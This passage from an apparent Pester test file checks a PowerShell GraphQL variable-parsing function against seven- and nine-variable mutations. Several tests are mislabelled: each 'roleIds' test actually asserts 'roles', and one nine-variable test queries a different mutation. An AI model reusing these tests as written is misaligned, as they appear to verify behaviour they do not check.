type of mutation" { 402 | (GraphQLVariableList -Query $nineParamMutation).OperationType | Select -First 1 | Should Be "mutation" 403 | } 404 | 405 | It "should contain the variable uuid" { 406 | (GraphQLVariableList -Query $nineParamMutation).Parameter | Should Contain "uuid" 407 | } 408 | 409 | It "should contain the variable userId" { 410 | (GraphQLVariableList -Query $nineParamMutation).Parameter | Should Contain "userId" 411 | } 412 | 413 | It "should contain the variable firstName" { 414 | (GraphQLVariableList -Query $nineParamMutation).Parameter | Should Contain "firstName" 415 | } 416 | 417 | It "should contain the variable middleName" { 418 | (GraphQLVariableList -Query $nineParamMutation).Parameter | Should Contain "middleName" 419 | } 420 | 421 | It "should contain the variable lastName" { 422 | (GraphQLVariableList -Query $nineParamMutation).Parameter | Should Contain "lastName" 423 | } 424 | 425 | It "should contain the variable roles" { 426 | (GraphQLVariableList -Query $nineParamMutation).Parameter | Should Contain "roles" 427 | } 428 | 429 | It "should contain the variable roleIds" { 430 | (GraphQLVariableList -Query $nineParamMutation).Parameter | Should Contain "roles" 431 | } 432 | 433 | It "should contain the variable objects" { 434 | (GraphQLVariableList -Query $eightParamMutation).Parameter | Should Contain "objects" 435 | } 436 | } 437 | 438 | Context "Seven variable mutation" { 439 | It "should discover seven variables" { 440 | (GraphQLVariableList -Query $sevenParamMutation | Measure).Count | Should Be 7 441 | } 442 | 443 | It "should have an operation type of mutation" { 444 | (GraphQLVariableList -Query $sevenParamMutation).OperationType | Select -First 1 | Should Be "mutation" 445 | } 446 | 447 | It "should contain the variable uuid" { 448 | (GraphQLVariableList -Query $sevenParamMutation).Parameter | Should Contain "uuid" 449 | } 450 | 451 | It "should contain the variable userId" { 452 | (GraphQLVariableList -Query $sevenParamMutation).Parameter | Should Contain "userId" 453 | } 454 | 455 | It "should contain the variable firstName" { 456 | (GraphQLVariableList -Query $sevenParamMutation).Parameter | Should Contain "firstName" 457 | } 458 | 459 | It "should contain the variable lastName" { 460 | (GraphQLVariableList -Query $sevenParamMutation).Parameter | Should Contain "lastName" 461 | } 462 | 463 | It "should contain the variable roles" { 464 | (GraphQLVariableList -Query $sevenParamMutation).Parameter | Should Contain "roles" 465 | } 466 | 467 | It "should contain the variable roleIds" { 468 | (GraphQLVariableList -Query $sevenParamMutation).Parameter | Should Contain "roles" 469 | } 470 | 471 | It "should contain the variable userId twice, one of type String and one of type Int" { 472 | (GraphQLVariableList -Query $sevenParamMutation | Where Parameter -eq userId).Type | Should Contain "String" 473 | (GraphQLVariableList -Query $sevenParamMutation | Where Parameter -eq userId).Type | Should Contain "Int" 474 | } 475 | } 476 | 477 | Context "Seven variable mutation multi-line" { 478 | It "should discover seven variables" { 479 | (GraphQLVariableList -Query $sevenParamMutationMultiLine | Measure).Count | Should Be 7 480 | } 481 | 482 | It "should have an operation name of UpdateUserTransactional" { 483 | (GraphQLVariableList -Query $sevenParamMutationMultiLine).Operation | Select -First 1 | Should Be "UpdateUserTransactional" 484 | } 485 | 486 | It "should have an operation type of mutation" { 487 | (GraphQLVariableList -Query $sevenParamMutationMultiLine).OperationType | Select -First 1 | Should Be "mutation" 488 | } 489 | 490 | It "should contain the variable uuid" { 491 | (GraphQLVariableList -Query $sevenParamMutationMultiLine).Parameter | Should Contain "uuid" 492 | } 493 | 494 | It "should contain the variable userId" { 495 | (GraphQLVariableList -Query $sevenParamMutationMultiLine).Parameter | Should Contain "userId" 496 | } 497 | 498 | It "should contain the variable firstName" { 499 | (GraphQLVariableList -Query $sevenParamMutationMultiLine).Parameter | Should Contain "firstName" 500 | } 501 | 502 | It "should contain the variable lastName" { 503 | (GraphQLVariableList -Query $sevenParamMutationMultiLine).Parameter | Should Contain "lastName" 504 | } 505 | 506 | It "should contain the variable roles" { 507 | (GraphQLVariableList -Query $sevenParamMutationMultiLine).Parameter | Should Contain "roles" 508 | } 509 | 510 | It "should contain the variable roleIds" { 511 | (GraphQLVariableList -Query $sevenParamMutationMultiLine).Parameter | Should Contain "roles" 512 | } 513 | } 514 | } 515 | --------------------------------------------------------------------------------